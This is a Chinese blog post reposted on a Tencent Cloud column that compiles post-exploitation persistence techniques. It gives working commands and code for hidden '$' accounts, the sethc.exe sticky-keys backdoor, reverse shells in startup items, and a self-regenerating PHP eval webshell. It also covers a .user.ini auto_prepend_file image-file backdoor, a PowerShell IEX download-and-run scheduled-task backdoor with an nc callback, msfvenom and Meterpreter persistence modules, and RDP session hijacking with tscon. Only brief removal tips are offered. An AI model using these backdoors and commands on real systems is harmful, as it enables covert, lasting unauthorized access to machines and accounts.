前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >后渗透之权限维护 整理

后渗透之权限维护 整理

作者头像
天钧
发布2019-10-31 10:47:40
1.1K0
发布2019-10-31 10:47:40
举报
文章被收录于专栏:渗透云笔记渗透云笔记

后渗透之权限维护

影子账户(在用户名后面加上一个$符号)

原理:创建一个跟普通用户一样的用户,但是只能在注册表中才能查看到的用户。

net user luomiweixiong$ /add

net user

可以看一下对比,创建test用户,net user查看用户是可以看见的,而admin$,因为加了个$符号,用net user命令是看不见的。

如何查看隐藏用户:

在计算机中不同地方看到的用户的数量是有区别的。在控制面版中看到的用户是最少的,而在计算机管理中的本地用户和组的用户能看到一些隐藏的用户,但是对于部分通过后门或者木马添加的帐户,在一般情况是只能通过注册表才能查看到的。

打开注册表:ctrl+r运行—>regedit

找到HKEY_LOCAL_MACHINE\SAM\SAM\Domains\account\Users\Names,在默认情况下,隐藏用户的查看是隐藏的。

解决方法:在SAM文件夹处点击右键—>权限

只有通过administrator给administrator完全控制的权限,这样我们才能看到在SAM文件夹下的隐藏目录和隐藏文件。

点击确定,保存了后,关闭注册表,重新打开注册表,就可以看见SAM目录下的隐藏文件了。这个时候就可以看见添加的隐藏用户admin$

还有个简单的办法,其实在控制面板中也可以看见

如何删除隐藏用户:

①在注册表中右键删除,重启一下即可。

②在控制面板中进行管理删除。

二、shift后门

原理:按5下shift时调用的“粘滞键”,它会运行c:\winows\system32\setchx.exe,将这个程序替换成cmd程序

1、将 C:\WINDOWS\system32\dllcache\sethc.exe删除,这个文件夹中放着缓存,如果不删除就会自动变回去找到

注意:在删除时提示删除不了,你需要trustedinstaller提供的权限

解决方法:

右键—>属性—>安全—>高级—>更改—>高级—>立即查找—>选择一个用户如Administrator—>确定—>确定—>确定

关闭属性窗口,再次右键—>安全—>高级—>更改权限—>双击Administrator用户—>勾选完全控制

即可成功删除文件。

C:\WINDOWS\system32\cmd.exe 将其复制并将名称更改为 sethc.exe,放回文件夹中这次按5次shift键就可以打开cmd了

好处:在我们未登陆系统(停留在登陆界面)的时候系统还不知道我们将以哪个用户登陆,所以在这个时候连续按5次shift后的话系统将会以system用户(具有管理员级别的权限)来运行sethc.exe这个程序。

三、反弹加入自启

1、NC反弹

2、Bash反弹

3、perl反弹

4、Python反弹

5、PHP反弹

6、等等

将反弹的脚本写入到启动项里,当受害者启动服务器时,自动反弹shell。弊端就是要一直监听,还要有公网的IP。

四、隐藏后门文件

1、将木马文件属性改为“隐藏”

2、将木马名字进行伪装处理,伪装成系统文件或者报错文件。

修改时间跟系统文件时间类似。

4、利用循环不死马。

代码语言:javascript
复制
<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
while(1){file_put_contents('phpinf0.php','<?php $a=array($_REQUEST["kk"]=>"3");
$b=array_keys($a)[0];eval($b);?>');sleep(8);}
?>

说明:此脚本会每8秒不断的向服务器生成一个“phpinf0.php”的一句话木马。

五、利用.user.ini文件自动包含木马文件

1、.user.ini文件是什么

官方解释为自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache,则用 .htaccess 文件有同样效果。

除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。

在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。

通过阅读手册,我们知道在.user.ini中可以识别PHP_INI_PERDIR和PHP_INI_USER模式的INI设置

关于PHP_INI_*一共有四种,重点关注其中可被识别的两种:

模式

含义

PHP_INI_USER

可在用户脚本以及.user.ini中设定

PHP_INI_PERDIR

可在php.ini,.htaccess或httpd.conf中设定

2、找到关键点

而在php.ini中有一个配置项:auto_prepend_file,该配置项会让php文件在执行前先包含一个指定的文件,通过这个配置项,我们就可以来隐藏自己的后门。

3、再来捋一捋

.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。实际上,除了PHP_INI_SYSTEM以外的模式都是可以通过.user.ini来设置的。

而且,和php.ini不同的是,.user.ini是一个能被动态加载的ini文件。也就是说当修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。

这就很容易地借助.user.ini文件来构造一个“后门”。

4、原理

.user.ini可以识别PHP_INI_PERDIR模式,而PHP_INI_PERDIR模式可在php.ini中设定,也就是说,在PHP_INI_PERDIR模式下,.user.ini可以识别php.ini中的配置项。那么就可以利用php.ini中的配置项:auto_prepend_file,来让php文件在执行前先包含个指定的文件,这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell,也可以是一个图片马(效果与.htaccess漏洞一样)。

比如,某网站限制不允许上传.php文件,你便可以上传一个.user.ini,再上传一个图片马,包含起来进行getshell。不过前提是含有.user.ini的文件夹下需要有正常的php文件(见下面步骤,用正常php文件来当一个桥梁),否则也不能包含了。再比如,你只是想隐藏个后门,这个方式是最方便的。

5、实现演示过程

因为是用fastcgi解析php文件,所以在phpstudy中要切换版本为nts版本。在phpstudy中nts就是fastcgi模式。

①在目录下创建一个.user.ini文件,内容如下

auto_prepend_file=test.jpg

②然后再创建一个test.jpg文件,内容如下

<?php

if(@$_GET['shell']=='test'){

phpinfo();

}?>

③再创建一个正常的php文件

<?php

echo ‘test123’;

?>

④访问test.php文件,页面显示如下:

⑤在其后加上参数,?shell=test,页面显示如下:

6、整个逻辑过程

当访问127.0.0.1/test.php时,先扫描.user.ini文件,通过.user.ini文件中的配置项auto_prepend_file,在test.php文件被执行前先读取test.jpg内容,if条件不满足,不执行test.jpg中的php代码,所以页面正常显示test.php的内容test123。

当访问127.0.0.1/test.php?shell=test时,先扫描.user.ini文件,通过.user.ini文件中的配置项auto_prepend_file,在test.php文件被执行前先读取test.jpg内容,if条件满足,执行test.jpg中的php代码,所以页面显示phpinfo内容。

Powershell权限维持

参考此Powershell脚本:https://github.com/re4lity/Schtasks-Backdoor

利用代码

①在cmd中输入nc -lvp 9999

②在powershell中输入

powershell.exe -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://119.31.210.50/Schtasks-Backdoor.ps1');Invoke-Tasksbackdoor-method nccat -ip 192.168.68.148 -port 666 -time 2"

说明:

119.31.210.50为受害者IP,前提是要把PowerShell脚本放到受害者服务器能访问到的根路径。 192.168.68.148为接收反弹回来的IP,可用NC监听反弹回来的shell

2、可能会遇到的问题

提示脚本无法运行 解决方法:输入set-ExecutionPolicy ALLSIGNED 选择Y

提示脚本无数字签名无法运行 解决方法:输入set-executionpolicy Bypass 选择Y

metasploit权限维持

1、获取Meterpretershell

使用MSF维持权限的前提是先获得一个Meterpretershell,首先我们先生成一个payload

msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=1256 -f exe >xx.exe

在home目录下能看见我们刚刚生成的payload,将它发送给目标主机

msfconsole进入msf

监听端口

被攻击机执行exe文件

2、Metsvc模块

metsvc是通过服务启动,服务名是meterpreter。

启动:

meterpreter> run metsvc -A

移除:

meterpreter> run metsvc -r

该条启动命令执行成功后,会在目标系统自动创建一个 meterpreter 的 serverces ,并自动保存为开机自动启动。

监听31337端口利用handler下的windows/metsvc_bind_tcp模块,重新获得shell。

3、Persistence模块

persistence是通过启动项启动

run persistence -U -i 10 -p 7898 -r 192.168.190.134

参数解析:

-U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。推荐使用该参数;

-i:设置反向连接间隔时间,单位为秒;

-p:设置反向连接的端口号;

-r:设置反向连接的ip地址。

MSF会在目标主机中生成一个vbs文件,并执行

执行background后台运行,设置LPORT,执行

成功的话会得到一个后门,可以再次连接

重启动后任然可以连接 解决办法,删除刚才目录下的vbs

会话劫持

说明:RDP会话劫持是在不知道另一用户密码的条件下进行切换用户登录

query user

sc create sesshijack binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#4"

net start sesshijack

只需使用quser命令获取你想要劫持的会话ID和自己的SESSIONNAME。然后运行tscon进行会话ID劫持。你自己的会话将被替换为被劫持的会话。默认情况下,服务将作为SYSTEM运行。

文章资料来源:

http://e86.me/3GqBN8

https://blog.csdn.net/ljl961890233bear/article/details/84685700

https://blog.csdn.net/weixin_43999372/article/details/88544361

https://www.4hou.com/info/news/3898.html

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-10-29,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 渗透云笔记 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
消息队列 TDMQ
消息队列 TDMQ (Tencent Distributed Message Queue)是腾讯基于 Apache Pulsar 自研的一个云原生消息中间件系列,其中包含兼容Pulsar、RabbitMQ、RocketMQ 等协议的消息队列子产品,得益于其底层计算与存储分离的架构,TDMQ 具备良好的弹性伸缩以及故障恢复能力。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档